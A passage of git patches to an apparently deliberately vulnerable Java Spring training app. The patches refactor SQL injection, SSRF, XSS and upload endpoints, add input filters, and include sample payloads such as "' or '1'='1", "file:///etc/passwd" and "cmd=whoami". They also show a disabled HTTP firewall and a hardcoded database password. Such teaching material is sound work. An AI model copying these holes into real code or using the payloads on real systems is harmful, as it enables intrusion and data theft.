+        if( !isImage(excelFile) ){
             logger.error("[-] File is not Image");
-        }
-        if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) {
-            redirectAttributes.addFlashAttribute("message", "illeagl picture");
             deleteFile(excelFile);
-            return "redirect:/file/status";
+            return "Upload failed. Illeagl picture.";
         }
 
 
@@ -130,24 +137,16 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
             byte[] bytes = multifile.getBytes();
             Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
             Files.write(path, bytes);
-
-            redirectAttributes.addFlashAttribute("message",
-                    "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'");
-
         } catch (IOException e) {
-            redirectAttributes.addFlashAttribute("message", "upload failed");
-            e.printStackTrace();
+            logger.error(e.toString());
             deleteFile(excelFile);
-            return "redirect:/file/status";
+            return "Upload failed";
         }
 
         deleteFile(excelFile);
-        return "redirect:/file/status";
-    }
-
-    @GetMapping("/status")
-    public String uploadStatus() {
-        return "uploadStatus";
+        logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+        logger.info("[+] Successfully uploaded {}{}", UPLOADED_FOLDER, multifile.getOriginalFilename());
+        return "Upload success";
     }
 
     private void deleteFile(File... files) {
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 9275593c..cf49a335 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -3,6 +3,9 @@
 
 import org.joychou.mapper.UserMapper;
 import org.joychou.dao.User;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.web.bind.annotation.*;
@@ -12,9 +15,8 @@
 
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2018.08.22
- * @desc    SQL Injection
+ * SQL Injection
+ * @author  JoyChou @2018.08.22
  */
 
 @SuppressWarnings("Duplicates")
@@ -22,11 +24,15 @@
 @RequestMapping("/sqli")
 public class SQLI {
 
+    private static Logger logger = LoggerFactory.getLogger(SQLI.class);
     private static String driver = "com.mysql.jdbc.Driver";
+
     @Value("${spring.datasource.url}")
     private String url;
+
     @Value("${spring.datasource.username}")
     private String user;
+
     @Value("${spring.datasource.password}")
     private String password;
 
@@ -35,12 +41,12 @@ public class SQLI {
 
 
     /**
-     * Vul Code.
+     * Vuln Code.
      * http://localhost:8080/sqli/jdbc/vul?username=joychou
      *
      * @param username username
      */
-    @RequestMapping("/jdbc/vul")
+    @RequestMapping("/jdbc/vuln")
     public String jdbc_sqli_vul(@RequestParam("username") String username){
         String result = "";
         try {
@@ -50,37 +56,28 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){
             if(!con.isClosed())
                 System.out.println("Connecting to Database successfully.");
 
-            // sqli vuln code 漏洞代码
+            // sqli vuln code
              Statement statement = con.createStatement();
              String sql = "select * from users where username = '" + username + "'";
-             System.out.println(sql);
+             logger.info(sql);
              ResultSet rs = statement.executeQuery(sql);
 
-
-            System.out.println("-----------------");
-
             while(rs.next()){
                 String res_name = rs.getString("username");
                 String res_pwd = rs.getString("password");
                 result +=  res_name + ": " + res_pwd + "\n";
-                System.out.println(res_name + ": " + res_pwd);
-
+                logger.info(res_name + ": " + res_pwd);
             }
             rs.close();
             con.close();
 
 
         }catch (ClassNotFoundException e) {
-            System.out.println("Sorry,can`t find the Driver!");
-            e.printStackTrace();
+            logger.error("Sorry,can`t find the Driver!");
         }catch (SQLException e) {
-            e.printStackTrace();
+            logger.error(e.toString());
         }catch (Exception e) {
-            e.printStackTrace();
-
-        }finally{
-            System.out.println("-----------------");
-            System.out.println("Connect database done.");
+            logger.error(e.toString());
         }
         return result;
     }
@@ -103,62 +100,60 @@ public String jdbc_sqli_sec(@RequestParam("username") String username){
             if(!con.isClosed())
                 System.out.println("Connecting to Database successfully.");
 
-
             // fix code
             String sql = "select * from users where username = ?";
             PreparedStatement st = con.prepareStatement(sql);
             st.setString(1, username);
-            System.out.println(st.toString());  // sql after prepare statement
+            logger.info(st.toString());  // sql after prepare statement
             ResultSet rs = st.executeQuery();
 
-            System.out.println("-----------------");
-
             while(rs.next()){
                 String res_name = rs.getString("username");
                 String res_pwd = rs.getString("password");
                 result +=  res_name + ": " + res_pwd + "\n";
-                System.out.println(res_name + ": " + res_pwd);
-
+                logger.info(res_name + ": " + res_pwd);
             }
+
             rs.close();
             con.close();
 
-
         }catch (ClassNotFoundException e) {
-            System.out.println("Sorry,can`t find the Driver!");
+            logger.error("Sorry,can`t find the Driver!");
             e.printStackTrace();
         }catch (SQLException e) {
-            e.printStackTrace();
+            logger.error(e.toString());
         }catch (Exception e) {
-            e.printStackTrace();
-
-        }finally{
-            System.out.println("-----------------");
-            System.out.println("Connect database done.");
+            logger.error(e.toString());
         }
         return result;
     }
 
     /**
-     * vul code
-     * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1
+     * vuln code
+     * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
      *
      * @param username username
      */
-    @GetMapping("/mybatis/vul01")
-    public List<User> mybatis_vul1(@RequestParam("username") String username) {
-        return userMapper.findByUserNameVul(username);
+    @GetMapping("/mybatis/vuln01")
+    public List<User> mybatisVuln01(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVuln01(username);
     }
 
     /**
      * vul code
-     * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23
+     * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23
      *
      * @param username username
      */
-    @GetMapping("/mybatis/vul02")
-    public List<User> mybatis_vul2(@RequestParam("username") String username) {
-        return userMapper.findByUserNameVul2(username);
+    @GetMapping("/mybatis/vuln02")
+    public List<User> mybatisVuln02(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVuln02(username);
+    }
+
+    // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23
+    @GetMapping("/mybatis/orderby/vuln03")
+    public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
+        return userMapper.findByUserNameVuln03(sort);
     }
 
 
@@ -169,7 +164,7 @@ public List<User> mybatis_vul2(@RequestParam("username") String username) {
      * @param username username
      */
     @GetMapping("/mybatis/sec01")
-    public User mybatis_sec1(@RequestParam("username") String username) {
+    public User mybatisSec01(@RequestParam("username") String username) {
         return userMapper.findByUserName(username);
     }
 
@@ -180,7 +175,7 @@ public User mybatis_sec1(@RequestParam("username") String username) {
      * @param id id
      */
     @GetMapping("/mybatis/sec02")
-    public User mybatis_sec2(@RequestParam("id") Integer id) {
+    public User mybatisSec02(@RequestParam("id") Integer id) {
         return userMapper.findById(id);
     }
 
@@ -190,9 +185,14 @@ public User mybatis_sec2(@RequestParam("id") Integer id) {
      * http://localhost:8080/sqli/mybatis/sec03
      **/
     @GetMapping("/mybatis/sec03")
-    public User mybatis_sec3() {
+    public User mybatisSec03() {
         return userMapper.OrderByUsername();
     }
 
 
+    @GetMapping("/mybatis/orderby/sec04")
+    public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
+        return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
+    }
+
 }
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 657f25cf..901f8b70 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -195,9 +195,10 @@ public static String ssrf_HttpClient(@RequestParam String url) {
 
 
     /**
-     * Safe code.
-     * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+     * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
+     * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
      *
+     * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
      */
     @RequestMapping("/commonsHttpClient/sec")
     @ResponseBody
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 159351cb..f4638524 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -212,4 +212,5 @@ public String sec_array_indexOf(@RequestParam("url") String url) throws Exceptio
         }
         return "Bad url.";
     }
+
 }
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
index b9bc8341..1336f571 100644
--- a/src/main/java/org/joychou/dao/User.java
+++ b/src/main/java/org/joychou/dao/User.java
@@ -15,7 +15,6 @@ public void setId(Integer id) {
         this.id = id;
     }
 
-
     public String getUsername() {
         return username;
     }
@@ -23,7 +22,6 @@ public void setUsername(String username) {
         this.username = username;
     }
 
-
     public String getPassword() {
         return password;
     }
diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java
index 962f465d..b88fb561 100644
--- a/src/main/java/org/joychou/mapper/UserMapper.java
+++ b/src/main/java/org/joychou/mapper/UserMapper.java
@@ -18,9 +18,10 @@ public interface UserMapper {
     User findByUserName(@Param("username") String username);
 
     @Select("select * from users where username = '${username}'")
-    List<User> findByUserNameVul(@Param("username") String username);
+    List<User> findByUserNameVuln01(@Param("username") String username);
 
-    List<User> findByUserNameVul2(String username);
+    List<User> findByUserNameVuln02(String username);
+    List<User> findByUserNameVuln03(@Param("order") String order);
 
     User findById(Integer id);
 
diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
new file mode 100644
index 00000000..d7f12627
--- /dev/null
+++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
@@ -0,0 +1,27 @@
+package org.joychou.security;
+
+import org.springframework.security.web.firewall.FirewalledRequest;
+import org.springframework.security.web.firewall.HttpFirewall;
+import org.springframework.security.web.firewall.RequestRejectedException;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+@Component
+public class DisableSpringSecurityFirewall implements HttpFirewall {
+
+    @Override
+    public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {
+        return new FirewalledRequest(request) {
+            @Override
+            public void reset() {
+            }
+        };
+    }
+
+    @Override
+    public HttpServletResponse getFirewalledResponse(HttpServletResponse response) {
+        return response;
+    }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 809ac544..812c905e 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -159,4 +159,50 @@ public static String cmdFilter(String input) {
         return input;
     }
 
+
+    /**
+     * 过滤mybatis中order by不能用#的情况。
+     * 严格限制用户输入只能包含<code>a-zA-Z0-9_-.</code>字符。
+     *
+     * @param sql sql
+     * @return 安全sql，否则返回null
+     */
+    public static String sqlFilter(String sql) {
+        if (!FILTER_PATTERN.matcher(sql).matches()) {
+            return null;
+        }
+        return sql;
+    }
+
+    /**
+     * 将非<code>0-9a-zA-Z/-.</code>的字符替换为空
+     *
+     * @param str 字符串
+     * @return 被过滤的字符串
+     */
+    public static String replaceSpecialStr(String str) {
+        StringBuilder sb = new StringBuilder();
+        str = str.toLowerCase();
+        for(int i = 0; i < str.length(); i++) {
+            char ch = str.charAt(i);
+            // 如果是0-9
+            if (ch >= 48 && ch <= 57 ){
+                sb.append(ch);
+            }
+            // 如果是a-z
+            else if(ch >= 97 && ch <= 122) {
+                sb.append(ch);
+            }
+            else if(ch == '/' || ch == '.' || ch == '-'){
+                sb.append(ch);
+            }
+        }
+
+        return sb.toString();
+    }
+
+    public static void main(String[] args) {
+        System.out.print(replaceSpecialStr("text/ html&(&(asdf"));
+    }
+
 }
\ No newline at end of file
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 9135b5db..c6b2a184 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -4,6 +4,8 @@ spring.datasource.username=root
 spring.datasource.password=woshishujukumima
 spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
 mybatis.mapper-locations=classpath:mapper/*.xml
+# mybatis SQL log
+logging.level.org.joychou.mapper=debug
 
 # Spring Boot Actuator Vulnerable Config
 management.security.enabled=false
diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml
index df4344e6..e6894071 100644
--- a/src/main/resources/mapper/UserMapper.xml
+++ b/src/main/resources/mapper/UserMapper.xml
@@ -13,10 +13,17 @@
 	    <!--select * from users where username = #{username}-->
     <!--</select>-->
 
-    <select id="findByUserNameVul2" parameterType="String" resultMap="User">
+    <select id="findByUserNameVuln02" parameterType="String" resultMap="User">
         select * from users where username like '%${_parameter}%'
     </select>
 
+    <select id="findByUserNameVuln03" parameterType="String" resultMap="User">
+        select * from users
+        <if test="order != null">
+            order by ${order} asc
+        </if>
+    </select>
+
     <select id="findById" resultMap="User">
         select * from users where id = #{id}
     </select>
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 64737751..de32f6ee 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -13,7 +13,7 @@
         <a th:href="@{/file/pic}">FileUpload</a>&nbsp;&nbsp;
         <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
-        <a th:href="@{/sqli/jdbc/vul?username=joychou}">SqlInject</a>&nbsp;&nbsp;
+        <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
         <a th:href="@{/ssrf/urlConnection?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
         <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
         <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html
deleted file mode 100755
index f39fa45c..00000000
--- a/src/main/resources/templates/uploadStatus.html
+++ /dev/null
@@ -1,10 +0,0 @@
-<!DOCTYPE html>
-<html lang="en" xmlns:th="http://www.thymeleaf.org">
-<body>
-
-<div th:if="${message}">
-    <h4 th:text="${message}"/>
-</div>
-
-</body>
-</html>
\ No newline at end of file

From db6bff2fc2d87b53ab1821cd88bd807e19aeba25 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 26 Mar 2020 10:28:11 +0800
Subject: [PATCH 10/38] Bug fix.The method of fix ssrf can cause dos.

---
 .../java/org/joychou/controller/SSRF.java     | 50 +++++++++----------
 src/main/java/org/joychou/controller/XSS.java | 20 ++------
 .../org/joychou/security/SSRFChecker.java     | 17 +++++--
 .../org/joychou/security/SecurityUtil.java    |  9 ++--
 .../joychou/security/WebSecurityConfig.java   |  7 +--
 5 files changed, 47 insertions(+), 56 deletions(-)

diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 901f8b70..ec6dfc54 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -23,16 +23,15 @@
 
 
 import javax.imageio.ImageIO;
-import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
 import java.net.*;
 
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2017.12.28
- * @desc    Java ssrf vuls code.
+ * Java SSRF vuln or security code.
+ *
+ * @author JoyChou @2017-12-28
  */
 
 @RestController
@@ -42,15 +41,14 @@ public class SSRF {
     private static Logger logger = LoggerFactory.getLogger(SSRF.class);
 
     @RequestMapping("/urlConnection")
-    public static String ssrf_URLConnection(HttpServletRequest request)
+    public static String ssrf_URLConnection(@RequestParam String url)
     {
         try {
-            String url = request.getParameter("url");
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
             BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
             String inputLine;
-            StringBuffer html = new StringBuffer();
+            StringBuilder html = new StringBuilder();
 
             while ((inputLine = in.readLine()) != null) {
                 html.append(inputLine);
@@ -58,7 +56,7 @@ public static String ssrf_URLConnection(HttpServletRequest request)
             in.close();
             return html.toString();
         }catch(Exception e) {
-            e.printStackTrace();
+            logger.error(e.toString());
             return "fail";
         }
     }
@@ -66,16 +64,15 @@ public static String ssrf_URLConnection(HttpServletRequest request)
 
     @RequestMapping("/HttpURLConnection")
     @ResponseBody
-    public static String ssrf_httpURLConnection(HttpServletRequest request)
+    public static String ssrf_httpURLConnection(@RequestParam String url)
     {
         try {
-            String url = request.getParameter("url");
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
             HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
             BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
             String inputLine;
-            StringBuffer html = new StringBuffer();
+            StringBuilder html = new StringBuilder();
 
             while ((inputLine = in.readLine()) != null) {
                 html.append(inputLine);
@@ -83,7 +80,7 @@ public static String ssrf_httpURLConnection(HttpServletRequest request)
             in.close();
             return html.toString();
         }catch(Exception e) {
-            e.printStackTrace();
+            logger.error(e.toString());
             return "fail";
         }
     }
@@ -91,13 +88,12 @@ public static String ssrf_httpURLConnection(HttpServletRequest request)
 
     @RequestMapping("/Request")
     @ResponseBody
-    public static String ssrf_Request(HttpServletRequest request)
+    public static String ssrf_Request(@RequestParam String url)
     {
         try {
-            String url = request.getParameter("url");
             return Request.Get(url).execute().returnContent().toString();
         }catch(Exception e) {
-            e.printStackTrace();
+            logger.error(e.toString());
             return "fail";
         }
     }
@@ -113,10 +109,9 @@ public static String ssrf_Request(HttpServletRequest request)
      */
     @RequestMapping("/openStream")
     @ResponseBody
-    public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+    public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException {
         InputStream inputStream = null;
         OutputStream outputStream = null;
-        String url = request.getParameter("url");
         try {
             String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
             // download
@@ -132,7 +127,7 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
             }
 
         }catch (Exception e) {
-            e.printStackTrace();
+            logger.error(e.toString());
         }finally {
             if (inputStream != null) {
                 inputStream.close();
@@ -147,20 +142,19 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
 
     @RequestMapping("/ImageIO")
     @ResponseBody
-    public static void ssrf_ImageIO(HttpServletRequest request) {
-        String url = request.getParameter("url");
+    public static void ssrf_ImageIO(@RequestParam String url) {
         try {
             URL u = new URL(url);
             ImageIO.read(u); // send request
         } catch (Exception e) {
+            logger.error(e.toString());
         }
     }
 
 
     @RequestMapping("/okhttp")
     @ResponseBody
-    public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
-        String url = request.getParameter("url");
+    public static void ssrf_okhttp(@RequestParam String url) throws IOException {
         OkHttpClient client = new OkHttpClient();
         com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
         client.newCall(ok_http).execute();
@@ -180,8 +174,8 @@ public static String ssrf_HttpClient(@RequestParam String url) {
         try {
             HttpResponse httpResponse = client.execute(httpGet); // send request
             BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
-            StringBuffer result = new StringBuffer();
-            String line = "";
+            StringBuilder result = new StringBuilder();
+            String line = null;
             while ((line = rd.readLine()) != null) {
                 result.append(line);
             }
@@ -236,8 +230,8 @@ public static String commonsHttpClient(@RequestParam String url) {
 
     /**
      * jsoup是一款Java的HTML解析器，可直接解析某个URL地址、HTML文本内容。
-     * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
      *
+     * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
      */
     @RequestMapping("/Jsoup")
     @ResponseBody
@@ -251,9 +245,11 @@ public static String Jsoup(@RequestParam String url) {
                     .cookie("name", "joychou") // request请求带的cookie
                     .followRedirects(false)
                     .execute().parse();
+            logger.info(doc.html());
         } catch (MalformedURLException e) {
             return "exception: " + e.toString();
-        } catch (Exception e) {
+        } catch (IOException e) {
+            logger.error(e.toString());
             return "exception: " + e.toString();
         }
 
@@ -271,7 +267,7 @@ public static String Jsoup(@RequestParam String url) {
     public static String IOUtils(@RequestParam String url) {
         try {
             // IOUtils.toByteArray内部用URLConnection进行了封装
-            byte[] b = IOUtils.toByteArray(URI.create(url));
+            IOUtils.toByteArray(URI.create(url));
         } catch (Exception e) {
             return "exception: " + e.toString();
         }
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index fcd5d7f5..68e89c0c 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -1,35 +1,24 @@
 package org.joychou.controller;
 
 import org.apache.commons.lang.StringUtils;
-import org.joychou.dao.User;
-import org.joychou.mapper.UserMapper;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.CookieValue;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
-import javax.annotation.Resource;
 import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
-import java.sql.Connection;
-import java.sql.DriverManager;
-import java.sql.Statement;
+
 
 /**
- * @author   JoyChou (joychou@joychou.org)
- * @date     2018.01.02
- * @desc     XSS vuls code
+ * @author JoyChou @2018-01-02
  */
-
 @Controller
 @RequestMapping("/xss")
 public class XSS {
 
     /**
-     * Vul Code.
+     * Vuln Code.
      * ReflectXSS
      * http://localhost:8080/xss/reflect?xss=<script>alert(1)</script>
      *
@@ -71,6 +60,7 @@ public String show(@CookieValue("xss") String xss)
     {
         return xss;
     }
+
     /**
      * safe Code.
      * http://localhost:8080/xss/safe
@@ -82,7 +72,7 @@ public static String safe(String xss){
         return encode(xss);
     }
 
-    public static String encode(String origin) {
+    private static String encode(String origin) {
         origin = StringUtils.replace(origin, "&", "&amp;");
         origin = StringUtils.replace(origin, "<", "&lt;");
         origin = StringUtils.replace(origin, ">", "&gt;");
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 08d9053a..bb959a23 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -8,21 +8,24 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
-public class SSRFChecker {
+class SSRFChecker {
 
-    private static int connectTime = 5*1000;  // 设置连接超时时间5s
     private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+
     /**
      * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。
      * url只允许https或者http，并且设置默认连接超时时间。
      * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后，进行判断，代码待续…
      *
      * @param url check的url
+     * @param checkTimes 设置重定向检测的最大次数，建议设置为10次
      * @return 安全返回true，危险返回false
      */
-    public static Boolean checkSSRF(String url) {
+    static Boolean checkSSRF(String url, int checkTimes) {
 
         HttpURLConnection connection;
+        int connectTime = 5*1000;  // 设置连接超时时间5s
+        int i = 1;
         String finalUrl = url;
         try {
             do {
@@ -45,7 +48,11 @@ public static Boolean checkSSRF(String url) {
                     if (null == redirectedUrl)
                         break;
                     finalUrl = redirectedUrl;
-                    // System.out.println("redirected url: " + finalUrl);
+                    i += 1;  // 重定向次数加1
+                    logger.info("redirected url: " + finalUrl);
+                    if(i == checkTimes) {
+                        return false;
+                    }
                 } else
                     break;
             } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
@@ -62,7 +69,7 @@ public static Boolean checkSSRF(String url) {
      *
      * @return 如果是内网IP，返回true；非内网IP，返回false。
      */
-    public static Boolean isInnerIPByUrl(String url) {
+     static Boolean isInnerIPByUrl(String url) {
         String host = url2host(url);
         if (host.equals("")) {
             return true; // 异常URL当成内网IP等非法URL处理
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 812c905e..bb154dc4 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -91,11 +91,8 @@ public static String checkUrlByGuava(String url, String[] urlwhitelist){
      * @return 安全返回true，危险返回false
      */
     public static Boolean checkSSRF(String url) {
-        if (SSRFChecker.checkSSRF(url)) {
-            return true;
-        } else {
-            return false;
-        }
+        int checkTimes = 10;
+        return SSRFChecker.checkSSRF(url, checkTimes);
     }
 
 
@@ -143,7 +140,7 @@ public static String pathFilter(String filepath) {
             }
         }
 
-        if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') {
+        if (temp.contains("..") || temp.charAt(0) == '/') {
             return null;
         }
 
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 27a332c3..a9787aac 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -43,7 +43,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
         public boolean matches(HttpServletRequest request) {
 
             // 配置需要CSRF校验的请求方式，
-            HashSet<String> allowedMethods = new HashSet<String>(Arrays.asList(csrfMethod));
+            HashSet<String> allowedMethods = new HashSet<>(Arrays.asList(csrfMethod));
             // return false表示不校验csrf
             if (!csrfEnabled) {
                 return false;
@@ -74,7 +74,8 @@ protected void configure(HttpSecurity http) throws Exception {
                 .successHandler(new LoginSuccessHandler())
                 .failureHandler(new LoginFailureHandler()).and()
                 .logout().logoutUrl("/logout").permitAll().and()
-                .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能。
+                // tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能。
+                .rememberMe();
     }
 
     /**
@@ -84,7 +85,7 @@ protected void configure(HttpSecurity http) throws Exception {
     CorsConfigurationSource corsConfigurationSource()
     {
         // Set cors origin white list
-        ArrayList<String> allowOrigins = new ArrayList<String>();
+        ArrayList<String> allowOrigins = new ArrayList<>();
         allowOrigins.add("joychou.org");
         allowOrigins.add("https://test.joychou.me"); // 区分http和https，并且默认不会拦截同域请求。
 

From fc1be1bbbbcdfefe61783a47330c99c3366d46ab Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 27 Mar 2020 22:28:31 +0800
Subject: [PATCH 11/38] Add bean to parse safedomain

---
 src/main/java/org/joychou/Application.java    |  1 +
 .../org/joychou/config/CustomCorsConfig.java  |  6 +-
 .../org/joychou/config/SafeDomainConfig.java  | 28 ++++++++
 .../org/joychou/config/SafeDomainParser.java  | 57 +++++++++++++++
 .../java/org/joychou/config/WebConfig.java    | 10 +++
 .../java/org/joychou/controller/Cors.java     |  4 +-
 .../org/joychou/controller/URLRedirect.java   | 10 +--
 .../org/joychou/controller/jsonp/JSONP.java   |  8 +--
 .../java/org/joychou/filter/JsonpFilter.java  |  5 +-
 .../java/org/joychou/filter/OriginFilter.java |  4 +-
 .../java/org/joychou/filter/ReferFilter.java  |  2 +-
 .../joychou/security/CustomCorsProcessor.java | 17 ++---
 .../org/joychou/security/SecurityUtil.java    | 69 ++++++-------------
 src/main/resources/url/safe_domain.xml        |  7 ++
 14 files changed, 145 insertions(+), 83 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/SafeDomainConfig.java
 create mode 100644 src/main/java/org/joychou/config/SafeDomainParser.java
 create mode 100644 src/main/resources/url/safe_domain.xml

diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 41169b9a..0f04b2c8 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -8,6 +8,7 @@
 import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
 
 
+
 @ServletComponentScan // do filter
 @SpringBootApplication
 // @EnableEurekaClient  // 测试Eureka请打开注释，防止控制台一直有warning
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
index d18a285e..8b80e664 100644
--- a/src/main/java/org/joychou/config/CustomCorsConfig.java
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -20,10 +20,10 @@ public WebMvcConfigurer corsConfigurer() {
         return new WebMvcConfigurerAdapter() {
             @Override
             public void addCorsMappings(CorsRegistry registry) {
-                // 支持一级域名，因为重写了checkOrigin
-                String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
+                // 为了支持一级域名，重写了checkOrigin
+                //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
                 registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
-                        .allowedOrigins(allowOrigins)
+                        //.allowedOrigins(allowOrigins)
                         .allowedMethods("GET", "POST")
                         .allowCredentials(true);
             }
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
new file mode 100644
index 00000000..d0fb91a7
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -0,0 +1,28 @@
